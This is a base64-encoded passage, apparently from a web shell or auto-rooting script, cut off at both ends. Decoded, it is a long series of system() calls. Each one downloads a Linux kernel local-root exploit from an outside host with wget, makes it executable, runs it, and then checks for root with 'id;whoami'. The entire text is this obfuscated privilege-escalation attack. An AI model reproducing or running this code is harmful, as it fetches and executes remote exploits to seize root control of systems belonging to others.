NCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1LnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNS5zaCIpOw0Kc3lzdGVtKCIuLzE1LnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNTE1MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTUxNTAiKTsNCnN5c3RlbSgiLi8xNTE1MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTUyMDAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE1MjAwIik7DQpzeXN0ZW0oIi4vMTUyMDAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNiIpOw0Kc3lzdGVtKCIuLzE2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNi0xIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNi0xIik7DQpzeXN0ZW0oIi4vMTYtMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4Iik7DQpzeXN0ZW0oIi4vMTgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4LTUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4LTUiKTsNCnN5c3RlbSgiLi8xOC01Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyIik7DQpzeXN0ZW0oIi4vMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi0xIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTEiKTsNCnN5c3RlbSgiLi8yLTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDUiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA2Iik7DQpzeXN0ZW0oIi4vMi02LTktMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi40LjIxLTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjQuMzYuOTIuNi4yNy41IC0gMjAwOCBMb2NhbCByb290Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjQuMzYuOTIuNi4yNy41IC0gMjAwOCBMb2NhbCByb290Iik7DQpzeXN0ZW0oIi4vMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTk0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMi0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yLWhvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMCIpOw0Kc3lzdGVtKCIuLzIuNi4yMCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMC0yIik7DQpzeXN0ZW0oIi4vMi42LjIwLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCg0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjItMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiLi8yLjYuMjItMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMi02LTg2XzY0LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiLi8yLjYuMjMtMi42LjI0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI0Iik7DQpzeXN0ZW0oIi4vMi42LjI0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yNy43LWdlbmVyaSIpOw0Kc3lzdGVtKCIuLzIuNi4yNy43LWdlbmVyaSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItNDYuMS5CSHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjYtMzQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42LTM0Iik7DQpzeXN0ZW0oIi4vMi42LjYtMzQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNl9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjdfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi44LTIwMDguOS02Ny0yMDA4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi44LTIwMDguOS02Ny0yMDA4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjhfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOSIpOw0Kc3lzdGVtKCIuLzIuNi45Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA0Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi45LTIwMDgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTM0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0zNCIpOw0Kc3lzdGVtKCIuLzIuNi45LTM0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcC0yMDA2Iik7DQpzeXN0ZW0oIi4vMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTU1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NSIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA3LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNTUtMjAwOC1wcnY4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiLi8yLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNjcyMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjktNjcyMDA4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS4yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS4yIik7DQpzeXN0ZW0oIi4vMi42LjkuMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45MS0yMDA3Iik7DQpzeXN0ZW0oIi4vMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMDciKTsNCnN5c3RlbSgiLi8yMDA3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LWxvY2FsIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA5LWxvY2FsIik7DQpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMDktd3VuZGVyYmFyIik7DQpzeXN0ZW0oIi4vMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMSIpOw0Kc3lzdGVtKCIuLzIxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzIik7DQpzeXN0ZW0oIi4vMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMy40LjYtOS0yMDA3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAzLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiLi8zLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzMxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzMSIpOw0Kc3lzdGVtKCIuLzMxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zNi1yYzEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDM2LXJjMSIpOw0Kc3lzdGVtKCIuLzM2LXJjMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNCIpOw0Kc3lzdGVtKCIuLzQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzQ0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOw0Kc3lzdGVtKCIuLzQ0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDciKTsNCnN5c3RlbSgiLi80NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNSIpOw0Kc3lzdGVtKCIuLzUiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzUwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA1MCIpOw0Kc3lzdGVtKCIuLzUwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTQiKTsNCnN5c3RlbSgiLi81NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNiIpOw0Kc3lzdGVtKCIuLzYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzY3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA2NyIpOw0Kc3lzdGVtKCIuLzY3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3Iik7DQpzeXN0ZW0oIi4vNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyA3LTIiKTsNCnN5c3RlbSgiLi83LTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzd4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOw0Kc3lzdGVtKCIuLzd4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC84Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA4Iik7DQpzeXN0ZW0oIi4vOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOSIpOw0Kc3lzdGVtKCIuLzkiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzkwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOw0Kc3lzdGVtKCIuLzkwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTQiKTsNCnN5c3RlbSgiLi85NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBMaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiLi9MaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L0xpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZDN2aWwiKTsNCnN5c3RlbSgiLi9kM3ZpbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOw0Kc3lzdGVtKCIuL2V4cDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7DQpzeXN0ZW0oImNobW9kIDc3NyBleHAzIik7DQpzeXN0ZW0oIi4vZXhwMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL2V4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbGVuaXMuc2giKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7DQpzeXN0ZW0oIi4vbGVuaXMuc2giKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLT